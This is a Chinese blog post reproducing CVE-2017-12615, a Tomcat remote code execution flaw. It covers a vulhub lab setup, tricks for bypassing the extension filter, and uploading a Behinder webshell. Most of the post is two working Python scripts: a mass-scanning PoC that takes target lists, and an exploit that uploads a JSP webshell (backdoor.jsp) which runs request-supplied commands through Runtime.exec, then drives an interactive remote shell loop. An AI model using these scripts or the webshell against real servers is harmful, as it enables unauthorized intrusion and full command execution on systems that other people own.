首页 > 其他分享 >【CVE-2017-12615】Tomcat 远程代码执行漏洞复现

【CVE-2017-12615】Tomcat 远程代码执行漏洞复现

时间:2023-04-15 23:24:10浏览次数:35  
标签:Tomcat url parse 代码执行 FILE print 2017 options

0x00 环境搭建

用vulhub的环境

查看配置文件conf/web.xml中readonly的设置

0x01 漏洞复现

访问主页,抓包后修改数据包

可通过 PUT 方式创建一个 JSP 文件。虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

改完包的时候不知道为啥上传失败了,于是我换了buuoj的环境,上传冰蝎的jsp木马,返回201代表上传成功

再用冰蝎连接即可

Windows服务器上搭建的tomcat可以在文件尾部加上 %20或者 ::$DATA等绕过

0x02 POC && EXP(python)

#CVE-2017-12615 POC
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

#CVE-2017-12615 EXP
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

标签:Tomcat,url,parse,代码执行,FILE,print,2017,options
From: https://www.cnblogs.com/yueyejian/p/17322238.html

相关文章

  • CentOS7---部署Tomcat和安装Jpress
    总览需求1.简述静态网页和动态网页的区别。2.简述Webl.0和Web2.0的区别。3.安装tomcat8,配置服务启动脚本,部署jpress应用。1、简述静态网页和动态网页的区别静态网页:请求响应信息,发给客户端进行处理,由浏览器进行解析,显示的页面,静态网页包含文本、图像、Flash动画......
  • org.apache.coyote.tomcat5.CoyoteResponseFacade.sendRedirec
    org.apache.coyote.tomcat5.CoyoteResponseFacade.sendRedirect(CoyoteResponseFacade.java:352)org.apache.jsp.test_jsp._jspService(test_jsp.java:62)org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)javax.servlet.http.HttpServlet.service(HttpSer......
  • Tomcat 5.5部署jsp项目—jsp乱码问题的解决
    1、最基本的乱码问题。这个乱码问题是最简单的乱码问题。一般新会出现。就是页面编码不一致导致的乱码。<%@pagelanguage="java"pageEncoding="UTF-8"%><%@pagecontentType="text/html;charset=iso8859-1"%><html><head><title>中文问题</title><......
  • tomcat配置全局和私有JNDI数据源
    本人CentOS上部署了tomcat,在配置JNDI数据源时,先后遇到了两种报错。第一种,CannotcreateJDBCdriverofclass''forconnectURL'null',这个根据我个人理解是没有获取到数据源的任何信息,只要根据配置的方式(全局或私有)检查一下配置文件即可;第二种,CannotcreatePoo......
  • Tomcat
    问题及解决严重[localhost-startStop-1]org.apache.jasper.EmbeddedServletOptions.<init>ThescratchDiryouspecified:[/Users/Jack/Desktop/apache-tomcat-8.5.32/work/Catalina/localhost/host-manager]isunusable.ThescratchDiryouspecifiedisunusable.......
  • Tomcat修改端口号(借鉴)
    tomcat默认端口号是8080,为了不和其他应用设置的端口冲突,可以通过tomcat的配置文件server.xml修改一、找到server.xml文件tomcat安装目录下的conf文件夹:我的是D:\ProgramFiles\ApacheSoftwareFoundation\Tomcat7.0\conf,打开server.xml配置文件。二、修改server.xml文件1,修......
  • Linux环境tomcat安装步骤详细教程
    下载tomcat包:https://tomcat.apache.org/tomcat-10.1-doc/index.html将下载的安装包放至linux环境的/usr/local/tomcat目录下:执行解压命令tar-xvfapache-tomcat-9.0.73.tar.gz将解压出来的目录改名为tomcat9,然后进入tomcat9/bin目录,执行./startup.sh命令启动tomcat:执行启动命令......
  • tomcat 双亲委托机制
    tomcat著名的双亲委托机制就是有类需要加载时就委托父类去加载一直到顶级的Bootstrap都没有自己才加载,自己也没有就报错类加载器BootstrapClassLoader:JVM内置的类加载器,用来加载Java核心类库,例如rt.jar、resources.jar等等。ExtensionClassLoader:用来加载Java扩展类......
  • 如何访问tomcat中的项目
    访问tomcat中web项目将java项目打成war后,放入webapps目录中,然后在bin目录中找到startup.bat,因为我是在windows环境中演示,所以用bat结尾的脚本启动tomcat,关闭的脚本是shutdown.bat。如果是在Linux环境下,则使用startup.sh脚本启动,关闭的脚本是shutdown.sh。将tomcat启动后,tomca......
  • 2017太极股份年报透露出来7个重要消息
    2017太极股份年报透露出来7个重要消息,如下:一是,云业务出现了逼近4亿元的营收。太极股份2017年云业务收入3.67亿元,毛利率达到了35%左右,还是比较高的。毛利率最高的业务是智慧应用与服务,达到了45%左右。但是不知道为何在金融、能源这两个对公司营业收入贡献不小的行业,毛利率保持一般,关......